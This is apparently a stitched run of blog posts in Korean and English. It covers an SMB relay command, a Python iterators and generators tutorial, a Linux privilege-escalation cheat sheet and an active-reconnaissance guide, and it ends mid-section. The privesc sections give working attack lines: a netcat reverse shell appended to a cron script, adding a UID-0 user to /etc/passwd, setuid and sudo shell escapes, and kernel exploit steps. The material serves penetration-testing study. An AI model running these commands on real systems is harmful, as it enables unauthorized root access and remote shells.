낚아챈 Net-NTLMv2 해시를 굳이 크래킹하지 않고, 그대로 다른 서비스로 릴레이해서 인증해 버릴 수도 있습니다. 이걸 SMB 릴레이 공격이라고 부르죠.

Impacket의 ntlmrelayx를 쓰면,

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.199.212 -c "powershell -e <base64_encoded_payload>"

방어책

그럼 이런 비밀번호 공격은 어떻게 막을까요?

강력한 비밀번호 정책 시행:
- 최소 12자 이상
- 대문자, 소문자, 숫자, 특수문자 혼용
- 주기적인 비밀번호 교체
가능한 모든 곳에 다중 인증(MFA) 사용
로그인 시도 제한 및 계정 잠금 정책 구현
의심스러운 활동을 위해 인증 시도를 모니터링, 로깅
NTLM 대신 Kerberos 같은 현대적 인증 프로토콜 사용
최신 보안 패치로 시스템을 최신 상태로 유지
응답 스푸핑을 막기 위해 필요 없을 때 LLMNR과 NBT-NS 비활성화
침해 이후 측면 이동(lateral movement)을 제한하는 네트워크 분할

마치며

비밀번호 공격은 허술한 비밀번호 습관과 레거시 인증 프로토콜 탓에 지금도 잘 통합니다. 그래서 보안 담당자라면 시스템을 더 잘 지키기 위해 이런 공격 벡터를 이해하고 있어야 하죠. 다만 이 기법들은 반드시 정당한 인가를 받은 윤리적 해킹, 침투 테스트, 보안 연구 목적으로만 써야 한다는 점, 늘 명심하시고요.

이런 취약점을 두루 챙기는 보안 전략을 세워 두면, 조직은 비밀번호 공격과 무단 접근의 위험을 확 낮출 수 있을 겁니다.

Understanding Python: Iterators, Iterables, and Generators

Sat, 31 Aug 2024 00:00:00 +0900

Overview

Python’s iteration system is one of its most powerful features, allowing for elegant and memory-efficient data processing. This article explores the core concepts of iterables, iterators, and generators - three closely related components that make Python’s iteration protocol both flexible and powerful.

In Python, basic data types inherit from the iterable class and can produce iterators through the iter(iterable) function. These iterators maintain independent states and return appropriate values via next(iterator) during iteration.

The relationship between iterables and iterators can be thought of as a vending machine (iterable) and the drinks it dispenses (iterator). Once an iterator is consumed, it’s discarded. However, separating iterables and iterators often requires more code than necessary for many use cases.

This is where generators come in - they combine the functionality of iterables and iterators in a clean, efficient way. Generators are particularly advantageous when handling large datasets as they create values dynamically rather than storing them all in memory.

Abstract Base Classes

Python’s collections module defines the foundation for these iteration components:

Basic data types (lists, tuples, sets, dictionaries) are all iterators
The collections.abc module provides Container, Collection, and Sequence as framework classes
All basic data types inherit from the abstract Collection class
Basic data types also inherit from iterable, but not from iterator or generator

Iterables

An iterable is any object that can be iterated over, including basic data types, files, and strings:

assert issubclass(str, iterable)
assert issubclass(io.TextIOWrapper, iterable)

Simply put, an iterable is anything that can be used in a for loop. The range() function also returns an iterable.

To qualify as an iterable, an object must:

Implement the __iter__ abstract method
Return a new iterator each time it’s called

print(iterable._abstractmethods_)
>>> frozenset({'__iter__'})

Iterators

An iterator is an object that maintains state and returns elements one by one until exhaustion. Each iterator maintains its own independent state:

assert iter(i) != iter(i)

To qualify as an iterator, an object must:

Implement __iter__ that returns itself
Implement __next__ to define the next value when called with next(iterator)

print(iterator._abstractmethods_)
>>> frozenset({'__next__'})

Creating Iterables and Iterators

Here’s a simple example of creating custom iterable and iterator classes:

from random import randint

class RandomIntIterable:
    def __init__(self, n):
        self.n = n
    
    def __iter__(self):
        return RandomIntIterator(self.n)

class RandomIntIterator:
    def __init__(self, n):
        self.count = 0
        self.n = n
        
    def __iter__(self):
        return self
        
    def __next__(self):
        if self.count < self.n:
            self.count += 1
            return randint(1, 100)
        else:
            raise StopIteration

Inheritance Relationship

In Python’s class hierarchy:

Iterator inherits from iterable (it’s a child class)
The reverse is not true

print(issubclass(iterator, iterable))
>>> True

Generators

Generators combine the functionality of iterators and iterables, and are commonly used in practical Python development. They’re stored in the collections.abc module like the other classes.

Creating Generators with yield

Generators are defined as functions, not classes. They use yield instead of return and significantly reduce code complexity:

from random import randint

def random_number_generator(n):
    count = 0
    while count < n:
        yield randint(1, 100)
        count += 1

Generator Comprehensions

Similar to list comprehensions, Python allows for generator comprehensions:

from random import randint
g = (randint(1, 100) for _ in range(5))

These are very concise, but may be limited for complex implementations.

Inheritance Hierarchy

The inheritance relationship between these classes can be summarized as:

iterable > iterator > Generator

Practical Examples

When a function takes a single argument expression, the parentheses in generator expressions can be omitted:

print(sum([n**2 for n in range(1, 11)]))  # List comprehension
print(sum(n**2 for n in range(1, 11)))    # Generator expression (better performance)

Conclusion

Python’s iteration system provides a powerful framework for processing data efficiently. By understanding the differences and relationships between iterables, iterators, and generators, you can write more elegant and memory-efficient Python code. Generators in particular offer a clean solution for many iteration patterns, combining the power of iterables and iterators with minimal syntax.

For most practical applications, generators provide the best balance of functionality and simplicity, especially when working with large datasets where memory efficiency is important.

개요

for 문을 아무 생각 없이 쓰다 보면, 그 뒤에서 파이썬이 어떻게 값을 하나씩 꺼내 주는지는 의외로 모르고 지나치기 쉽죠. 파이썬의 이터레이션(iteration) 시스템은 가장 강력한 기능 중 하나로, 우아하면서도 메모리를 아끼는 데이터 처리를 가능하게 해줍니다. 이 글에서는 그 이터레이션 프로토콜을 떠받치는 세 형제, 즉 이터러블(iterable), 이터레이터(iterator), 제너레이터(generator)의 핵심 개념을 하나씩 짚어 보겠습니다.

파이썬의 기본 자료형은 iterable 클래스를 상속하고 있어서, iter(iterable) 함수로 이터레이터를 뽑아낼 수 있습니다. 이렇게 만들어진 이터레이터는 저마다 독립적인 상태를 유지하면서, 순회하는 동안 next(iterator)가 호출될 때마다 적절한 값을 하나씩 돌려주죠.

이터러블과 이터레이터의 관계는 자판기(이터러블)와 거기서 뽑혀 나오는 음료(이터레이터)에 비유하면 딱 맞습니다. 이터레이터는 한 번 다 마시면(소진되면) 그냥 버려지거든요. 그런데 이터러블과 이터레이터를 굳이 나눠서 다루려면 코드가 필요 이상으로 길어지는 경우가 많습니다.

바로 이 지점에서 제너레이터가 등장합니다. 제너레이터는 이터러블과 이터레이터의 기능을 깔끔하고 효율적으로 하나로 합쳐 주는데요. 특히 대용량 데이터를 다룰 때, 값을 몽땅 메모리에 쌓아 두지 않고 필요할 때마다 즉석에서 만들어 내기 때문에 아주 유리합니다.

추상 베이스 클래스

파이썬의 collections 모듈이 이 이터레이션 구성 요소들의 밑바탕을 정의합니다.

기본 자료형(리스트, 튜플, 셋, 딕셔너리)은 모두 순회할 수 있다
collections.abc 모듈은 Container, Collection, Sequence를 프레임워크 클래스로 제공한다
모든 기본 자료형은 추상 Collection 클래스를 상속한다
기본 자료형은 iterable도 상속하지만, iterator나 generator는 상속하지 않는다

이터러블(Iterable)

이터러블은 기본 자료형, 파일, 문자열까지 포함해 순회할 수 있는 모든 객체를 말합니다.

assert issubclass(str, iterable)
assert issubclass(io.TextIOWrapper, iterable)

쉽게 말하면, for 루프에 넣어 돌릴 수 있는 건 전부 이터러블이에요. range() 함수도 이터러블을 돌려주죠.

이터러블이 되려면 객체가 다음 두 가지를 갖춰야 합니다.

__iter__ 추상 메서드를 구현할 것
호출될 때마다 새 이터레이터를 돌려줄 것

print(iterable._abstractmethods_)
>>> frozenset({'__iter__'})

이터레이터(Iterator)

이터레이터는 상태를 유지하면서, 다 떨어질 때까지 요소를 하나씩 꺼내 주는 객체입니다. 각 이터레이터는 저마다 독립적인 상태를 갖고 있죠.

assert iter(i) != iter(i)

이터레이터가 되려면 객체가 다음을 갖춰야 합니다.

자기 자신을 돌려주는 __iter__를 구현할 것
next(iterator)로 호출될 때 다음 값을 정하는 __next__를 구현할 것

print(iterator._abstractmethods_)
>>> frozenset({'__next__'})

이터러블과 이터레이터 만들기

직접 이터러블, 이터레이터 클래스를 만들어 보면 감이 옵니다. 간단한 예시를 볼게요.

from random import randint

class RandomIntIterable:
    def __init__(self, n):
        self.n = n
    
    def __iter__(self):
        return RandomIntIterator(self.n)

class RandomIntIterator:
    def __init__(self, n):
        self.count = 0
        self.n = n
        
    def __iter__(self):
        return self
        
    def __next__(self):
        if self.count < self.n:
            self.count += 1
            return randint(1, 100)
        else:
            raise StopIteration

상속 관계

파이썬의 클래스 계층을 보면 이렇습니다.

이터레이터는 이터러블을 상속한다(즉 자식 클래스다)
그 반대는 성립하지 않는다

print(issubclass(iterator, iterable))
>>> True

제너레이터(Generator)

제너레이터는 이터레이터와 이터러블의 기능을 하나로 묶어 주는데, 실무 파이썬 개발에서 정말 자주 쓰입니다. 다른 클래스들처럼 collections.abc 모듈에 들어 있죠.

yield로 제너레이터 만들기

제너레이터는 클래스가 아니라 함수로 정의합니다. return 대신 yield를 쓰는 게 포인트인데, 덕분에 코드가 훨씬 단출해집니다.

from random import randint

def random_number_generator(n):
    count = 0
    while count < n:
        yield randint(1, 100)
        count += 1

제너레이터 컴프리헨션

리스트 컴프리헨션처럼, 파이썬은 제너레이터 컴프리헨션도 지원합니다.

from random import randint
g = (randint(1, 100) for _ in range(5))

무척 간결하긴 한데, 로직이 복잡해지면 이 문법만으로는 한계가 있습니다.

상속 계층

지금까지 본 클래스들의 상속 관계를 한 줄로 요약하면 이렇습니다.

iterable > iterator > Generator

실전 예시

함수가 인자로 표현식 하나만 받을 때는, 제너레이터 표현식의 괄호를 생략해도 됩니다.

print(sum([n**2 for n in range(1, 11)]))  # 리스트 컴프리헨션
print(sum(n**2 for n in range(1, 11)))    # 제너레이터 표현식 (성능 더 좋음)

마치며

파이썬의 이터레이션 시스템은 데이터를 효율적으로 다루는 강력한 틀을 제공합니다. 이터러블, 이터레이터, 제너레이터의 차이와 관계를 이해하고 나면 훨씬 우아하고 메모리도 아끼는 코드를 짤 수 있죠. 그중에서도 제너레이터는 이터러블과 이터레이터의 힘을 최소한의 문법으로 합쳐, 웬만한 이터레이션 패턴을 깔끔하게 풀어 줍니다.

대부분의 실무 상황, 특히 메모리 효율이 중요한 대용량 데이터를 다룰 때라면, 제너레이터가 기능과 단순함 사이에서 가장 좋은 균형점을 잡아 줄 거예요.

Linux Privilege Escalation Techniques

Mon, 29 Jul 2024 00:00:00 +0900

Overview

This post summarizes various techniques for Linux privilege escalation, often encountered during penetration testing or CTFs like OSCP. It covers manual and automated enumeration methods, common misconfigurations, and kernel exploit strategies.

Linux Enumeration

Understanding the target system is the first step.

Manual Enumeration

Gather basic information using built-in commands:

User & Permissions: id, cat /etc/passwd
System Info: hostname, cat /etc/issue, cat /etc/os-release
Kernel & Arch: uname -a
Processes: ps aux
Networking: ip a, route, ss -anp (active connections), ss -tlpn (TCP open ports), netstat -atnp (listening ports)
Firewall: cat /etc/iptables/rules.v4
Scheduled Tasks: ls -lah /etc/cron*, crontab -l, sudo crontab -l
Installed Packages: dpkg -l (Debian/Ubuntu)
Writable Directories: find / -writable -type d 2>/dev/null
Mounted Filesystems: mount, cat /etc/fstab, lsblk
Kernel Modules: lsmod, /sbin/modinfo <module_name>
Setuid Binaries: find / -perm -u=s -type f 2>/dev/null
Capabilities: /usr/sbin/getcap -r / 2>/dev/null

Example Scenario: Finding Credentials in .bashrc

env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami

# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>

sudo -l # Check sudo permissions

# Escalate if possible
sudo -i

Monitoring for Passwords:

Watch processes: watch -n 1 "ps -aux | grep pass"
Sniff local traffic: sudo tcpdump -i lo -A | grep "pass"

Automated Enumeration

Tools can speed up the process.

unix-privesc-check: Run unix-privesc-check standard > output.txt and look for warning keywords. You might need to transfer it (scp) if not present.

Exploiting Misconfigurations

Cron Script Misconfiguration (Cronjob Exploit)

If a cron job runs a script with weak permissions, you can modify it for a reverse shell.

Identify Cron Jobs: grep "CRON" /var/log/syslog, check /etc/crontab, /etc/cron.*/*
Check Script Permissions: ls -lah /path/to/script.sh

Modify Script: If writable, append reverse shell payload.

# Example payload (adjust IP and port)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh

Start Listener: nc -lnvp 1234 on your machine.
Wait for the cron job to execute.

Weak Hash in `/etc/passwd`

If /etc/passwd is world-writable (highly insecure!), you can add a new root user.

Check Permissions: ls -al /etc/passwd
Generate Password Hash: On the target machine: openssl passwd <your_password> (e.g., w00t) -> outputs hash (e.g., YSSyRQ853q.bE)

Append User:

echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd

Switch User: su root2 (use the password you set)

Escalation with Setuid/Capabilities

Binaries with the Setuid bit or specific capabilities run with higher privileges.

Finding Setuid: find / -perm -u=s -type f 2>/dev/null
Finding Capabilities: /usr/sbin/getcap -r / 2>/dev/null

Refer to GTFOBins for known exploitation methods for specific binaries.

find (Setuid):
```
find . -exec /bin/sh -p \; -quit
```

perl (CAP_SETUID):

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

gdb (Example):

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Escalation with Sudo

If a user can run specific commands via sudo without a password or with known privileges, abuse them.

Check Sudo Permissions: sudo -l
Check GTFOBins: Look for the allowed commands (e.g., tcpdump, apt-get, gcc).

tcpdump (Potential Issues): Exploits might be blocked by security modules like AppArmor. Check logs (/var/log/syslog) for denials.

# GTFObins tcpdump example (might fail due to AppArmor/permissions)
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

apt-get / apt:

# Open a shell via the pager used by changelog
sudo apt-get changelog apt
# Inside the pager (like less), type:
!/bin/sh

gcc (via wrapper):

# Creates a dummy file and uses sh as a wrapper
sudo gcc -wrapper /bin/sh,-s .

Exploiting Kernel Vulnerabilities

Requires identifying the OS, kernel version, and architecture.

Gather Info: cat /etc/issue, uname -r, arch

Search for Exploits: Use tools like searchsploit or online resources (Exploit-DB).

searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
# Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"

Transfer Exploit: Use scp, wget, etc.

# Find exploit path with searchsploit
searchsploit -m <exploit_id.c>
# Transfer
scp <exploit_id.c> user@target_ip:~/

Compile & Run: On the target machine.
```
gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
./exploit_binary
```
- Example (CVE-2017-16995 / 45010.c): Often used for older kernels.
- Example (PwnKit / CVE-2021-4034): Affects pkexec found in many distributions. Check if pkexec exists and has setuid (find / -name pkexec -perm -u=s 2>/dev/null). Requires cloning the exploit repo and compiling on the target.

Quick Checklist for Enumeration

When starting, quickly check these:

cat /etc/issue, uname -a (OS/Kernel/Arch)
sudo -l (Sudo rights)
find / -perm -u=s -type f 2>/dev/null (Setuid binaries)
/usr/sbin/getcap -r / 2>/dev/null (Capabilities)
ls -al /etc/passwd (Passwd permissions)
ls -lah /etc/cron*, crontab -l (Cron jobs)

This summary provides a starting point for exploring Linux privilege escalation vectors. Always refer to resources like GTFOBins and Exploit-DB for specific command exploits.

개요

이 글은 침투 테스트나 OSCP 같은 CTF에서 자주 마주치는 리눅스 권한 상승(privilege escalation) 기법들을 한데 모아 정리한 글입니다. 수동, 자동 열거 방법부터 흔한 오설정, 커널 익스플로잇 전략까지 훑어보겠습니다.

리눅스 열거(Enumeration)

뭐든 그렇듯, 대상 시스템을 파악하는 것이 첫걸음입니다.

수동 열거

먼저 내장 명령으로 기본 정보부터 긁어모읍니다.

사용자 & 권한: id, cat /etc/passwd
시스템 정보: hostname, cat /etc/issue, cat /etc/os-release
커널 & 아키텍처: uname -a
프로세스: ps aux
네트워킹: ip a, route, ss -anp (활성 연결), ss -tlpn (열린 TCP 포트), netstat -atnp (리스닝 포트)
방화벽: cat /etc/iptables/rules.v4
예약 작업: ls -lah /etc/cron*, crontab -l, sudo crontab -l
설치된 패키지: dpkg -l (Debian/Ubuntu)
쓰기 가능 디렉터리: find / -writable -type d 2>/dev/null
마운트된 파일시스템: mount, cat /etc/fstab, lsblk
커널 모듈: lsmod, /sbin/modinfo <module_name>
Setuid 바이너리: find / -perm -u=s -type f 2>/dev/null
Capabilities: /usr/sbin/getcap -r / 2>/dev/null

예시 시나리오: .bashrc에서 자격 증명 찾기

env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami

# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>

sudo -l # Check sudo permissions

# Escalate if possible
sudo -i

비밀번호 모니터링:

프로세스 감시: watch -n 1 "ps -aux | grep pass"
로컬 트래픽 스니핑: sudo tcpdump -i lo -A | grep "pass"

자동 열거

도구의 힘을 빌리면 이 과정을 훨씬 빠르게 끝낼 수 있습니다.

unix-privesc-check: unix-privesc-check standard > output.txt를 실행한 뒤 warning 키워드를 훑어보세요. 대상에 없으면 (scp로) 올려 줘야 할 수도 있습니다.

오설정(Misconfiguration) 악용

Cron 스크립트 오설정 (Cronjob 익스플로잇)

cron 작업이 권한이 허술한 스크립트를 돌리고 있다면, 그 스크립트를 슬쩍 고쳐 리버스 셸을 딸 수 있습니다.

Cron 작업 식별: grep "CRON" /var/log/syslog, /etc/crontab, /etc/cron.*/* 확인
스크립트 권한 확인: ls -lah /path/to/script.sh

스크립트 수정: 쓰기 권한이 있다면 리버스 셸 페이로드를 덧붙인다.

# Example payload (adjust IP and port)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh

리스너 시작: 내 머신에서 nc -lnvp 1234.
cron 작업이 실행되길 기다린다.

`/etc/passwd`의 취약한 해시

/etc/passwd가 누구나 쓸 수 있게(world-writable) 열려 있다면(정말 위험한 설정이죠) 새 root 사용자를 통째로 하나 추가해 버릴 수 있습니다.

권한 확인: ls -al /etc/passwd
비밀번호 해시 생성: 대상 머신에서 openssl passwd <your_password> (예: w00t) -> 해시 출력(예: YSSyRQ853q.bE)

사용자 추가:

echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd

사용자 전환: su root2 (설정한 비밀번호 사용)

Setuid/Capabilities를 이용한 권한 상승

Setuid 비트나 특정 capability가 붙은 바이너리는 상승된 권한으로 실행됩니다. 여기에 허점이 있으면 곧장 권한 상승으로 이어지죠.

Setuid 찾기: find / -perm -u=s -type f 2>/dev/null
Capabilities 찾기: /usr/sbin/getcap -r / 2>/dev/null

특정 바이너리를 어떻게 악용하는지는 GTFOBins에 잘 정리돼 있으니 참고하세요.

find (Setuid):
```
find . -exec /bin/sh -p \; -quit
```

perl (CAP_SETUID):

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

gdb (예시):

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Sudo를 이용한 권한 상승

사용자가 비밀번호 없이, 혹은 알려진 권한으로 sudo를 통해 특정 명령을 돌릴 수 있다면 이걸 지렛대로 삼습니다.

Sudo 권한 확인: sudo -l
GTFOBins 확인: 허용된 명령(예: tcpdump, apt-get, gcc)을 찾아본다.

tcpdump (걸림돌이 될 수 있는 부분): 익스플로잇이 AppArmor 같은 보안 모듈에 막힐 수 있습니다. 로그(/var/log/syslog)에서 거부(denial)가 찍혔는지 확인해 보세요.

# GTFObins tcpdump example (might fail due to AppArmor/permissions)
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

apt-get / apt:

# Open a shell via the pager used by changelog
sudo apt-get changelog apt
# Inside the pager (like less), type:
!/bin/sh

gcc (wrapper 이용):

# Creates a dummy file and uses sh as a wrapper
sudo gcc -wrapper /bin/sh,-s .

커널 취약점 악용

먼저 OS와 커널 버전, 아키텍처부터 정확히 파악해야 합니다.

정보 수집: cat /etc/issue, uname -r, arch

익스플로잇 검색: searchsploit 같은 도구나 온라인 자료(Exploit-DB)를 활용합니다.

searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
# Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"

익스플로잇 전송: scp, wget 등을 사용한다.

# Find exploit path with searchsploit
searchsploit -m <exploit_id.c>
# Transfer
scp <exploit_id.c> user@target_ip:~/

컴파일 & 실행: 대상 머신에서.
```
gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
./exploit_binary
```
- 예시 (CVE-2017-16995 / 45010.c): 구형 커널에 자주 씁니다.
- 예시 (PwnKit / CVE-2021-4034): 많은 배포판에 깔려 있는 pkexec를 노립니다. pkexec가 존재하고 setuid가 걸려 있는지 먼저 확인하고(find / -name pkexec -perm -u=s 2>/dev/null), 익스플로잇 저장소를 클론해 대상에서 직접 컴파일하면 됩니다.

열거를 위한 빠른 체크리스트

막 셸을 잡았다면, 우선 이것들부터 빠르게 훑어보세요.

cat /etc/issue, uname -a (OS/커널/아키텍처)
sudo -l (Sudo 권한)
find / -perm -u=s -type f 2>/dev/null (Setuid 바이너리)
/usr/sbin/getcap -r / 2>/dev/null (Capabilities)
ls -al /etc/passwd (Passwd 권한)
ls -lah /etc/cron*, crontab -l (Cron 작업)

이 정도면 리눅스 권한 상승 벡터를 파고들기 위한 출발점으로는 충분할 겁니다. 개별 명령의 구체적인 익스플로잇은 언제나 GTFOBins와 Exploit-DB 같은 자료를 함께 참고하시길 권합니다.

Active Information Gathering Techniques

Fri, 26 Jul 2024 00:00:00 +0900

DNS Enumeration

Understanding different DNS record types is important for reconnaissance:

NS (Name Server): Identifies the authoritative DNS servers for a domain.
A (Host): Maps a hostname to an IPv4 address.
AAAA (IPv6 Host): Maps a hostname to an IPv6 address.
MX (Mail Exchanger): Specifies the mail servers responsible for handling email for the domain.
PTR (Pointer): Used in reverse DNS lookups to find the domain name associated with an IP address.
CNAME (Canonical Name): Creates an alias for another hostname.
TXT (Text): Allows storing arbitrary text data, often used for domain verification (e.g., SPF, DKIM).

Unix Tools:

host: A simple utility for DNS lookups.

host www.example.com
host -t mx example.com
host -t txt example.com

DNSRecon: A more advanced Python script for DNS enumeration.

# Standard enumeration
dnsrecon -d example.com -t std
# Brute-force subdomains using a wordlist
dnsrecon -d example.com -D ~/list.txt -t brt

dnsenum: Another popular DNS enumeration script.
```
dnsenum example.com
```

Windows Tools:

nslookup: The standard Windows command-line tool for querying DNS.

nslookup mail.example.com
# Query a specific record type against a specific DNS server
nslookup -type=TXT info.example.com 192.168.1.1

net view: Can sometimes reveal information in Windows environments (though not strictly DNS).
```
net view \\dc01 /all
```

Port Scanning with Netcat (nc)

While not a dedicated port scanner like Nmap, nc can be used for basic port checks. It’s often slower and less feature-rich.

Options:

-n: Do not resolve hostnames (faster).
-v/-vv: Verbose output.
-w <seconds>: Timeout for connections.
-z: Zero-I/O mode (scan without sending data).
-u: Scan UDP ports.

Examples:

Basic TCP Port Scan:
```
nc -nvv -w 3 -z 192.168.212.151 1-100
```

Basic UDP Port Scan:

nc -nv -u -z -w 1 192.168.50.149 120-123

Faster Scanning with Threading (using xargs):

# TCP Scan with 20 parallel connections
seq 1000 10000 | xargs -P 20 -I {} nc -nvv -w 1 -z 192.168.50.151 {} 2>&1 | grep "open"
# UDP Scan with 20 parallel connections
seq 100 200 | xargs -P 20 -I {} nc -nvv -u -w 3 -z 192.168.159.151 {} 2>&1 | grep "open"

Port Scanning with Nmap

Nmap is the industry standard for port scanning and network discovery.

Windows Alternatives:

Test-NetConnection: Built-in PowerShell cmdlet for testing network connectivity, including specific ports.
```
Test-NetConnection -Port 445 192.168.50.151
```

PowerShell Loop for Port Scanning:

# Scan TCP ports 1-1024
1..1024 | % { try { $tcpClient = New-Object Net.Sockets.TcpClient; $tcpClient.Connect("192.168.50.151", $_); Write-Output "TCP port $_ is open"; $tcpClient.Close() } catch {} } 2>$null

# Scan the last octet for an open port (e.g., port 43)
1..254 | ForEach-Object {
    $ip = "192.168.50.$_"
    try {
        $tcpClient = New-Object Net.Sockets.TcpClient
        $tcpClient.Connect($ip, 43)
        if ($tcpClient.Connected) { Write-Output "TCP port 43 is open on $ip"; $tcpClient.Close() }
    } catch {}
}

SMB Enumeration

Server Message Block (SMB) is commonly used for file sharing in Windows environments.

SMB Port: TCP 445
NetBIOS Port (Legacy): TCP 139 (often used with SMB for compatibility)

Using Nmap for SMB Enumeration:

Scan for Open SMB Ports:

nmap -v -p 139,445 -oG smb_scan.txt 192.168.159.0/24
grep "open" smb_scan.txt

OS Discovery via SMB:

nmap -v -p 139,445 --script smb-os-discovery 192.168.159.152

List Available SMB NSE Scripts:
```
ls -1 /usr/share/nmap/scripts/smb*
```

Other SMB Enumeration Tools:

NBTScan
Enum4Linux
SMBClient

Windows SMB Commands:

List shares on a remote machine:
```
net view \\dc01 /all
```

SMTP Enumeration

Simple Mail Transfer Protocol (SMTP) runs on TCP port 25. Enumeration can reveal valid usernames.

Techniques:

VRFY: Asks the server to verify an email address.
EXPN: Asks the server for the membership of a mailing list (often disabled).

Manual Enumeration with nc:

nc -nv 192.168.50.8 25
# Connected... Server sends banner (e.g., 220 mail ESMTP Postfix)
VRFY root
# Server responds (e.g., 252 2.0.0 root)
VRFY nonexistantuser
# Server responds (e.g., 550 5.1.1 <nonexistantuser>: Recipient address rejected...)
QUIT

Using a Script (Example: vrfy.py)

A simple Python script can automate VRFY checks against a list of usernames. (See original note for script code).

Using Telnet:

Telnet can also be used for interactive SMTP sessions.

telnet 192.168.178.8 25
# Connected... Server sends banner
VRFY root
# Server responds
QUIT

Windows SMTP Checks:

Test Connection:

Test-NetConnection -Port 25 192.168.50.8

Install and Use Telnet Client:

# Enable Telnet Client feature if not already installed
dism /online /Enable-Feature /FeatureName:TelnetClient
# Connect using Telnet
telnet 192.168.50.8 25

SNMP Enumeration

Simple Network Management Protocol (SNMP) typically uses UDP port 161. It can expose a wealth of system information if misconfigured.

MIB (Management Information Base):

A hierarchical database containing manageable objects on a device. OIDs (Object Identifiers) point to specific pieces of information.

Common OIDs for Enumeration:

OID	Information
1.3.6.1.2.1.25.1.6.0	System Processes
1.3.6.1.2.1.25.4.2.1.2	Running Programs
1.3.6.1.2.1.25.4.2.1.4	Process Path
1.3.6.1.2.1.25.2.3.1.4	Storage Units
1.3.6.1.2.1.25.6.3.1.2	Installed Software Names
1.3.6.1.4.1.77.1.2.25	User Accounts
1.3.6.1.2.1.6.13.1.3	TCP Local Ports

Scanning for SNMP Hosts:

Nmap UDP Scan:

sudo nmap -sU --open -p 161 192.168.50.0/24 -oG open_snmp.txt
grep "open" open_snmp.txt

SNMP Enumeration Tools:

Onesixtyone: Fast scanner to check for common community strings (e.g., ‘public’, ‘private’).
SNMPWalk: Tool to query and walk the MIB tree of an SNMP-enabled device.

DNS 열거(Enumeration)

정찰(reconnaissance)을 제대로 하려면 다양한 DNS 레코드 유형을 알아 두는 게 중요합니다.

NS (Name Server): 도메인의 권한 있는(authoritative) DNS 서버를 가리킵니다.
A (Host): 호스트 이름을 IPv4 주소로 매핑합니다.
AAAA (IPv6 Host): 호스트 이름을 IPv6 주소로 매핑합니다.
MX (Mail Exchanger): 도메인의 메일을 처리하는 메일 서버를 지정합니다.
PTR (Pointer): 역방향 DNS 조회에서 IP 주소에 연결된 도메인 이름을 찾을 때 씁니다.
CNAME (Canonical Name): 다른 호스트 이름의 별칭을 만듭니다.
TXT (Text): 임의의 텍스트 데이터를 담을 수 있고, 주로 도메인 검증(예: SPF, DKIM)에 쓰입니다.

Unix 도구:

host: DNS 조회를 위한 간단한 유틸리티.

host www.example.com
host -t mx example.com
host -t txt example.com

DNSRecon: DNS 열거를 위한 더 고급 Python 스크립트.

# Standard enumeration
dnsrecon -d example.com -t std
# Brute-force subdomains using a wordlist
dnsrecon -d example.com -D ~/list.txt -t brt

dnsenum: 또 다른 인기 있는 DNS 열거 스크립트.
```
dnsenum example.com
```

Windows 도구:

nslookup: DNS를 질의하는 표준 Windows 명령줄 도구.

nslookup mail.example.com
# Query a specific record type against a specific DNS server
nslookup -type=TXT info.example.com 192.168.1.1

net view: Windows 환경에서 (엄밀히 DNS는 아니지만) 정보를 드러내기도 한다.
```
net view \\dc01 /all
```

Netcat(nc)를 이용한 포트 스캐닝

nc가 Nmap 같은 전용 포트 스캐너는 아니지만, 기본적인 포트 확인 정도는 충분히 해냅니다. 다만 보통 더 느리고 기능도 단출하죠.

옵션:

-n: 호스트 이름을 해석하지 않는다(더 빠름).
-v/-vv: 상세 출력.
-w <seconds>: 연결 타임아웃.
-z: Zero-I/O 모드(데이터를 보내지 않고 스캔).
-u: UDP 포트를 스캔.

예시:

기본 TCP 포트 스캔:
```
nc -nvv -w 3 -z 192.168.212.151 1-100
```

기본 UDP 포트 스캔:

nc -nv -u -z -w 1 192.168.50.149 120-123

스레딩으로 더 빠르게 스캔(xargs 사용):

# TCP Scan with 20 parallel connections
seq 1000 10000 | xargs -P 20 -I {} nc -nvv -w 1 -z 192.168.50.151 {} 2>&1 | grep "open"
# UDP Scan with 20 parallel connections
seq 100 200 | xargs -P 20 -I {} nc -nvv -u -w 3 -z 192.168.159.151 {} 2>&1 | grep "open"

Nmap을 이용한 포트 스캐닝

Nmap은 포트 스캐닝과 네트워크 탐색의 사실상 업계 표준입니다.

Windows 대안:

Test-NetConnection: 특정 포트를 포함해 네트워크 연결성을 테스트하는 내장 PowerShell cmdlet.
```
Test-NetConnection -Port 445 192.168.50.151
```

포트 스캐닝용 PowerShell 루프:

# Scan TCP ports 1-1024
1..1024 | % { try { $tcpClient = New-Object Net.Sockets.TcpClient; $tcpClient.Connect("192.168.50.151", $_); Write-Output "TCP port $_ is open"; $tcpClient.Close() } catch {} } 2>$null

